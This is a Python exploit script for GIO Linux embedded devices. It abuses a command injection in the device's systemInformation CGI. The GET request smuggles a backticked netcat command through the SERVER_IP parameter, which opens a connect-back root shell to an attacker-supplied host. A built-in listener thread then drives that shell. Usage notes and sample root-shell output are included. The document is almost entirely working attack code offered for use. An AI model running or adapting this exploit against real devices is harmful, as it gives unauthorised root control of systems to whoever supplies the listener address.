gionight.py

#!/usr/bin/env python
# GIO Linux embedded remote exploit
# =================================
# A vulnerability exists within the systemInformation
# CGI that permits an attacker to pass commands into a
# helper script when requesting a hardware report from
# the device. All processes run as uid=0 and GIO Linux
# is built with BusyBox and contains netcat. This 
# exploit when run will provide a connect back root
# shell from the device. Requires ports 1234 / 1235
# to be unfirewalled on listener host.  The web server
# must not have a Administrator password set for this
# exploit to work or the host IP must be authenticated
# to use the CGI interface of the host.
#
# Usage.
#       ./gionight <target> <connectback.ip>
# 
# F:\>gionight.py 192.168.0.103 192.168.0.3
# [ You may now use the shell.
# uname -a
# Linux VXL_GIO_5D7D61 2.4.26 #29 Mon Aug 21 12:31:19 UTC 2006 i686 unknown
# id
# uid=0(root) gid=0(root)
#
import sys
import os
import socket
import httplib
import threading

class ExploitThread ( threading.Thread ):
	def __init__ (self,host,connectshell):
		self.host = host
		self.connectshell = connectshell
		threading.Thread.__init__ (self)
	
	def run(self):
		server = httplib.HTTP(host)
		server.putrequest('GET','/systemInfo/systeminfo.cgi?SERVER_IP=%60%2Fbin%2Fnc+'\
						+connectshell+'+1234+|+%2Fbin%2Fsh+|+nc+'+connectshell+'+1235%60&'\
						'PORT=21&DIRECTORY=&LOGIN=&PASSWD=&REPORT_BUT=Generate+the+'\
						'report&GENMODE=ftp')
		server.putheader('Accept','text/html')
		server.endheaders()
		errcode, errmsh, replyheader = server.getreply()	
		

class ListenerThread ( threading.Thread ):
	def run(self): 
		"""Connect back shell listener.	
		Returns None"""
		s = socket.socket()
		s2 = socket.socket()
		s.bind(("0.0.0.0",1234))
		s2.bind(("0.0.0.0",1235))
		s.listen(1)
		s2.listen(1)
		(cli,add) = s.accept()
		(cli2,add2) = s2.accept()
		print "[ You may now use the shell."
		while 1:
			cli.send(sys.stdin.readline())
			data = cli2.recv(1000000)
			print data[:-1]
		
if __name__ == "__main__":
	host = sys.argv[1]
	connectshell = sys.argv[2]
	ExploitThread(host,connectshell).start()
	ListenerThread().start()